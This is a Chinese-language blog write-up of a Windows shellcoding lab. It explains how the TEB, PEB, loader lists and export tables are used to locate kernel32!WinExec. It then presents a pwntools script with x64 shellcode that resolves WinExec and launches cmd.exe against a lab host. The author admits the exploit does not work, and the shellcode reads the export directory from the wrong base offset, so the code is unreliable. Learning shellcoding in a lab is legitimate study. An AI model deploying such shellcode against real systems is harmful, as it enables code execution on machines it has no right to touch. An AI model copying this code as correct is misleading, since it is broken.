AngelBoy Windows Binary Exploitation play_with_win_sc Writeup

kazma 成大資安社 創辦人/社長

Intro

這邊要練習的是 windows 的 shellcoding,因為 windows 的 system call number 會改變,所以我們會直接 call API,跟 Linux 上有很大的區別。
我們在做 Windows Shellcoding 時有最重要的三件事:

  1. Find dll address
  2. Find function address
  3. Call function

那在 windows 中有幾個很重要的資料結構分別是:

  • _TEB (Thread Environment Block)
    • 每個 thread 都會有一個
    • 主要存放每個 Thread 中執行時的資訊
      • _NT_TIB
        • Stack Base 位置
      • PEB 位置
    • 恆有一個 segment register 指向該結構
      • 32 bit:FS
      • 64 bit:GS
    • windbg 相關指令
      • !teb
      • dt ntdll!_TEB [teb address]
      • dt ntdll!_NT_TIB [tib address]
  • _PEB (Process Environment Block)
    • 記錄 Process 相關的資訊
      • Load module (_PEB_LDR_DATA)
        • Linked list 結構,記錄所有有 load 進 memory 的 dll 資訊
      • ProcessHeap
      • ImageBase
        • Binary Base
  • Ldr (_PEB_LDR_DATA)
    • 由以下三個 Linked list 串接所有載入 dll 的資訊,不同的地方是順序
      • InLoadOrderModuleList
      • InMemoryOrderModuleList
      • InInitializationOrderModuleList
    • windbg 相關指令
      • dt ntdll!_PEB_LDR_DATA

總結從 _TEB 到 Kernel32 的位置關係圖:
note

那根據這個結構,我們可以利用 GS 暫存器來獲得所有 dll 的位置,假設我們的目標是 kernel32.dll 的 WinExec,我們首先就必須獲得 PEB 的位置:

  • 64 bit:gs:[0x60]
  • 32 bit:fs:[0x30]
    接著從 PEB 獲取 PebLdr 再獲取其中的 InMemoryOrderModuleList,其中我們的目標在第三層:
  • 第一層為 binary
  • 第二層為 ntdll
  • 第三層為 kernel32

拿到 kernel32 base 之後我們接著要來做第二步拿 function address,那這邊就牽涉到一些重要觀念,首先是 RVA:

  • RVA (Relative Virtual Address)
    • 記憶體中,相對於 Bianry Base 之間的 offset
    • 假設 RVA = 0x3000,那在記憶體中的位置就是 binary base + 0x3000
      以及我們需要先獲得下列幾項在記憶體中的實際位置:
  • Export Directory Table
    • dll 要導出函式給其他 program 所使用的結構
    • 可以從 PE 結構中找出 Export Directory 的 RVA
  • Address Table
  • Name Pointer Table
  • Ordinal Table
    我們可以透過先前獲得的 DLL base 及 PE format 來獲得該 DLL 的 Export Directory table
  • Find NT Header RVA
  • Find DataDirectory[0]
  • Get Export Directory table RVA
    參考結構如下:
    datadirectory
    那怎麼用 Export Directory table 找到 function address
  • 找出 Name Pointer Table
  • 一一比對字串直到找到 WinExec,此時記下 index
  • 找出 Ordinal Table
  • 利用剛剛的 index 獲得對應該 index 的 ordinal number
  • 接著找出 Export address table
  • 利用剛剛獲得的 ordinal number 取得 Export address table 中對應的內容,該內容即為 WinExec 的 RVA
  • 最後 DLL BASE + RVA 就會獲得 WinExec 的位置
    最後一部就是正常的呼叫 function 即可,注意以下幾點:
  • 參數順序為 rcx, rdx, r8, r9
  • 呼叫 WinExec 時必須對齊 0x10 (因為 WinExec 有 xmm 指令)
    Angelboy 補充找字串時,正常來說會以 Hash 的方式來比對會準確一點且方便一點,因為這邊是在教學所以單純做字串比對。

Exploit

參考解答:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

r = remote("192.168.0.108", 56003)
context.arch = "amd64"
r.newline = b"\r\n"

# Goal -> kernel32!WinExec(cmd)

sc = asm(
"""
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
xor rcx,rcx
xor r8,r8
xor r9,r9
xor r11,r11
xor r12,r12

mov rdi,qword ptr gs:[0x60] # peb
mov rdi,qword ptr [rdi+0x18] # ldr
mov rdi,qword ptr [rdi+0x20] # imoml - binary
mov rdi,qword ptr [rdi] # ntdll
mov rdi,qword ptr [rdi] # kernel32
mov rdi,qword ptr [rdi+0x20] # kernel32 base addr

mov esi,dword ptr [rdi+0x3c] # rva nt header
lea rsi,qword ptr [rdi+rsi] # nt header
mov edx,dword ptr [rdi+4+0x14+0x70] # rva export directory
lea rsi,qword ptr [rdi+rdx] # export directory

xor rdx,rdx
xor rcx,rcx # index
mov r12,0x%1x
mov edx,dword ptr [rsi+0x18] # number of name (rdx)
mov r8d,dword ptr [rsi+0x20] # rva of nanm pointer table
lea r8,qword ptr [rdi+r8] # name pointer table
search:
mov r9d,dword ptr [r8+rcx*4] # function name rva
mov r9,qword ptr [rdi+r9] # function name
cmp r12,r9
je found
cmp rdx,rcx
je notfound
inc rcx
jmp search
found:
xor r8,r8
xor r9,r9
mov r8d,dword ptr [rsi+0x24] # rva of ordinal table
lea r8,qword ptr [rdi+r8] # ordinal table
mov r9w,word ptr [r8+rcx*2] # ordinal
xor r8,r8
mov r8d,dword ptr [rsi+0x1c] # rva of export address table
lea r8,qword ptr [rdi+r8] # export address table
mov r9d,dword ptr [r8+r9*4] # rva of WinExec
lea r9,qword ptr [rdi+r9] # WinExec

jmp cmd
go:
pop rcx # cmd.exe
sub rsp,0x100
and rsp,0xfffffffffffffff0
call r9
notfound:
int3
cmd:
call go
.ascii "cmd.exe"
.byte 0
"""
% u64(b"WinExec\x00")
)
r.recvuntil(b":")
r.sendline(sc)
r.interactive()

然後不確定是我的 lab 有問題還是 exploit 有問題,目前沒辦法正常 work,等之後有空來 debug 一下,或是知道為什麼的可以跟我說哈哈,這邊的重點是大家要知道整個 shellcode 撰寫的流程以及 windows 中那些資料結構的關係和個部分的 offset,這樣就不會被複雜的 shellcode 嚇到了,祝各位 Happy Hacking。

  • Title: AngelBoy Windows Binary Exploitation play_with_win_sc Writeup
  • Author: kazma
  • Created at : 2024-11-19 13:39:07
  • Updated at : 2024-11-20 15:39:35
  • Link: https://kazma.tw/2024/11/19/AngelBoy-Windows-Binary-Exploitation-shellcoding-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
AngelBoy Windows Binary Exploitation play_with_win_sc Writeup